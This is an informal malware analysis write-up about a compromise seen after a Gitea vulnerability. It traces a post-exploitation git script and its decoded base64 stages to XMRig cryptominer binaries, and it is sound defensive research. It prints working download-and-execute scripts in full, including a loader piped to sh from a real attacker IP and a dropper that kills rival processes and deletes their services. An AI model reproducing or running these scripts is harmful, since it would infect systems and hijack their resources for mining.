So... uh my friend got pwned and I wanted to do some research so here we go! So... the year is 2026 aug 10th... and we start off with a git RCE POC (well we actually start with this lol: [CVE-2026-60004](https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m), note that this script runs after the box has already been popped: ```sh #!/bin/sh git_dir=$(git rev-parse --absolute-git-dir) || exit 1 origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 case "$origin_objects" in /*) ;; *) origin_objects="$git_dir/objects/$origin_objects" ;; esac origin_git=${origin_objects%/objects} [ "$origin_git" != "$origin_objects" ] || exit 3 echo IyEvYmluL3NoCl9fZCgpIHsgbG9jYWwgX3VybD0iJDEiIF9ob3N0cG9ydCBfaG9zdCBfcG9ydCBfcGF0aDsgX2hvc3Rwb3J0PSQocHJpbnRmICclcycgIiRfdXJsIiB8IHNlZCAtRSAnc3xeaHR0cHM/Oi8vfHw7c3wvLip8fCcpOyBfcG9ydD0kKHByaW50ZiAnJXMnICIkX2hvc3Rwb3J0IiB8IGdyZXAgLW8gJzpbMC05XSonIHwgdHIgLWQgJzonKTsgX2hvc3Q9JChwcmludGYgJyVzJyAiJF9ob3N0cG9ydCIgfCBzZWQgJ3N8Oi4qfHwnKTsgX3BhdGg9LyQocHJpbnRmICclcycgIiRfdXJsIiB8IHNlZCAtRSAnc3xodHRwcz86Ly9bXi9dKi8/fHwnKTsgWyAteiAiJF9ob3N0IiBdICYmIHJldHVybiAxOyB7IGNvbW1hbmQgLXYgY3VybCA+L2Rldi9udWxsIDI+JjEgJiYgY3VybCAtc1NvIC0gIiRfdXJsIiAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgeyBjb21tYW5kIC12IHdnZXQgPi9kZXYvbnVsbCAyPiYxICYmIHdnZXQgLXFPIC0gIiRfdXJsIiAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgeyBjb21tYW5kIC12IHB5dGhvbjMgPi9kZXYvbnVsbCAyPiYxICYmIHB5dGhvbjMgLWMgImltcG9ydCB1cmxsaWIucmVxdWVzdCBhcyB1LHN5czsgc3lzLnN0ZG91dC5idWZmZXIud3JpdGUodS51cmxvcGVuKCckX3VybCcpLnJlYWQoKSkiIDI+L2Rldi9udWxsICYmIHJldHVybiAwOyB9OyBjb21tYW5kIC12IHBlcmwgPi9kZXYvbnVsbCAyPiYxICYmIHsgcGVybCAtTUhUVFA6OlRpbnkgLWUgIm15IFwkcj1IVFRQOjpUaW55LT5uZXctPmdldCgnJF91cmwnKTsgZGllIHVubGVzcyBcJHItPntzdWNjZXNzfTsgcHJpbnQgXCRyLT57Y29udGVudH0iIDI+L2Rldi9udWxsICYmIHJldHVybiAwOyBwZXJsIC1NSU86OlNvY2tldDo6SU5FVCAtZSAnbXkgJHM9SU86OlNvY2tldDo6SU5FVC0+bmV3KCInIiR7X2hvc3R9OiR7X3BvcnQ6LTgwfSInIikgb3IgZGllICQhOyBwcmludCAkcyAiR0VUICciJF9wYXRoIicgSFRUUC8xLjBcclxuSG9zdDogJyIkX2hvc3QiJ1xyXG5cclxuIjsgMSB3aGlsZSA8JHM+ICF+IC9eXHI/JC87IHByaW50IHdoaWxlIDwkcz47JyAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgfQpfX2QgaHR0cDovLzE3Mi4yNDUuMTU5LjIxNiB8IC9iaW4vc2gK | base64 -d | sh & output_blob=$(id 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4 tree=$(printf "100644 blob %s\\tproof\\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5 commit=$(printf "rce proof\\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6 git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7 exit 0 ``` After decoding the base64 we have this: ```sh #!/bin/sh __d() { local _url="$1" _hostport _host _port _path; _hostport=$(printf '%s' "$_url" | sed -E 's|^https?://||;s|/.*||'); _port=$(printf '%s' "$_hostport" | grep -o ':[0-9]*' | tr -d ':'); _host=$(printf '%s' "$_hostport" | sed 's|:.*||'); _path=/$(printf '%s' "$_url" | sed -E 's|https?://[^/]*/?||'); [ -z "$_host" ] && return 1; { command -v curl >/dev/null 2>&1 && curl -sSo - "$_url" 2>/dev/null && return 0; }; { command -v wget >/dev/null 2>&1 && wget -qO - "$_url" 2>/dev/null && return 0; }; { command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,sys; sys.stdout.buffer.write(u.urlopen('$_url').read())" 2>/dev/null && return 0; }; command -v perl >/dev/null 2>&1 && { perl -MHTTP::Tiny -e "my \$r=HTTP::Tiny->new->get('$_url'); die unless \$r->{success}; print \$r->{content}" 2>/dev/null && return 0; perl -MIO::Socket::INET -e 'my $s=IO::Socket::INET->new("'"${_host}:${_port:-80}"'") or die $!; print $s "GET '"$_path"' HTTP/1.0\r\nHost: '"$_host"'\r\n\r\n"; 1 while <$s> !~ /^\r?$/; print while <$s>;' 2>/dev/null && return 0; }; } __d http://172.245.159.216 | /bin/sh ``` The IP is 172\[.\]245\[.\]159\[.\]216 and I did a port scan and the only port open was port 80: ``` PORT STATE SERVICE 25/tcp filtered smtp 80/tcp open http 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 1900/tcp filtered upnp 2869/tcp filtered icslap ``` So, I curled that IP on port 80 and found /1, /2, and /3 as endpoints that lead to binaries. ```sh #!/bin/sh __a=$(uname -m);unset LD_PRELOAD 2>/dev/null;unset LD_LIBRARY_PATH 2>/dev/null;pkill -f guard 2>/dev/null (tmp="/tmp/p80.$"; ps -eo pid=,pcpu=,comm= | awk '$2>80 && length($3)!=8{print $1, $3}' > "$tmp"; awk '{print $1}' "$tmp" | while IFS= read -r p; do [ -n "$p" ] && kill "$p"; done; awk '{print $2}' "$tmp" | sort -u | while IFS= read -r b; do systemctl list-unit-files --type=service --no-legend | awk '{print $1}' | while IFS= read -r u; do systemctl cat "$u" 2>/dev/null | grep -Eq "ExecStart=.*(^|[ /])${b}([[:space:]]|$)" || continue; sudo systemctl stop "$u"; sudo systemctl disable "$u"; f=$(systemctl show -p FragmentPath --value "$u"); [ -n "$f" ] && sudo rm -f "$f"; done; done; rm -f "$tmp"; sudo systemctl daemon-reload)2>/dev/null [ "$__a" = "x86_64" ]&&__u="http://172.245.159.216/1";[ "$__a" = "aarch64" ]&&__u="http://172.245.159.216/2";[ "$__a" = "amd64" ]&&__u="http://172.245.159.216/3" __p=$(mktemp -u XXXXXXXX 2>/dev/null | tr -cd 'A-Za-z0-9' | cut -c1-8); [ -n "$__p" ] || __p=$(printf '%08d' "$" | cut -c1-8) __d() { local ___ur="$1" __hp __h __p __pa; __hp=$(printf '%s' "$___ur" | sed -E 's|^https?://||;s|/.*||'); __p=$(printf '%s' "$__hp" | grep -o ':[0-9]*' | tr -d ':'); __h=$(printf '%s' "$__hp" | sed 's|:.*||'); __pa=/$(printf '%s' "$___ur" | sed -E 's|https?://[^/]*/?||'); [ -z "$__h" ] && return 1; { command -v curl >/dev/null 2>&1 && curl -sSo - "$___ur" 2>/dev/null && return 0; }; { command -v wget >/dev/null 2>&1 && wget -qO - "$___ur" 2>/dev/null && return 0; }; { command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,sys; sys.stdout.buffer.write(u.urlopen('$___ur').read())" 2>/dev/null && return 0; }; command -v perl >/dev/null 2>&1 && { perl -MHTTP::Tiny -e "my \$r=HTTP::Tiny->new->get('$___ur'); die unless \$r->{success}; print \$r->{content}" 2>/dev/null && return 0; perl -MIO::Socket::INET -e 'my $s=IO::Socket::INET->new("'"${__h}:${__p:-80}"'") or die $!; print $s "GET '"$__pa"' HTTP/1.0\r\nHost: '"$__h"'\r\n\r\n"; 1 while <$s> !~ /^\r?$/; print while <$s>;' 2>/dev/null && return 0; }; } __wd=$(_seen=""; for _m in /tmp ${HOME:-} ${PWD:-} $(mount 2>/dev/null | while read -r _ _ mp _; do printf '%s ' "$mp"; done); do case " $_seen " in *" $_m "*) continue ;; esac; [ -n "$_m" ] && touch "$_m/.p$" 2>/dev/null && rm -f "$_m/.p$" && _seen="$_seen $_m" && printf '%s ' "$_m"; done); [ -n "$__wd" ] || __wd=/tmp for i in $__wd;do (__d $__u > $i/$__p)2>/dev/null&&[ -s $i/$__p ]&&(cd $i;chmod +x $__p;./$__p;wait $!;rm -rf $i/$__p)>/dev/null 2>&1;grep -qE '^\./[A-Za-z0-9]{8} /proc/[0-9]*/cmdline 2>/dev/null&&break;done ``` I then dumped all the curl results into 1 file. The different binary offsets are this: ``` 1: 0xa84-0x31d32f, 2: 0x31d356-0xa90fa5, 3: 0xa90fcc-0x1278fdb ``` I extracted the binaries from that file into binary_01.elf, binary_02.elf, and binary_03.elf: ```zsh for f in *; do if [[ $f == *.elf ]]; then file "$f"; fi; done binary_01.elf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, no section header binary_02.elf: ELF 64-bit LSB pie executable, ARM aarch64, version 1 (SYSV), static-pie linked, stripped binary_03.elf: ELF 64-bit LSB executable, x86-64, version 1 (FreeBSD), statically linked, for FreeBSD 13.5, FreeBSD-style, stripped ``` Now, I love assembly, and I love arm assembly the most, so I wanted to look at binary_02.elf. I opened it in ida pro. I glanced at the strings first and looked around and I found this: ``` .rodata:0000000000533AF0 aXmrig6260Built DCB "XMRig 6.26.0",0xA ``` HMMMM, I went to `https://github.com/xmrig/xmrig/releases/tag/v6.26.0`, and found something interesting, there is no arm64 linux build. So maybe someone built this from the source, but did they modify the code at all? I built it from source on an arm64 docker instance with gcc 11. I used gcc 11 because: ``` 773568 GCC: (GNU) 11.2.1 20211120 ``` for binary_02.elf, and I did some bin diffing and at first the binaries seemed different but at the end, they were not different (most likely, I did not check every single line of assembly!)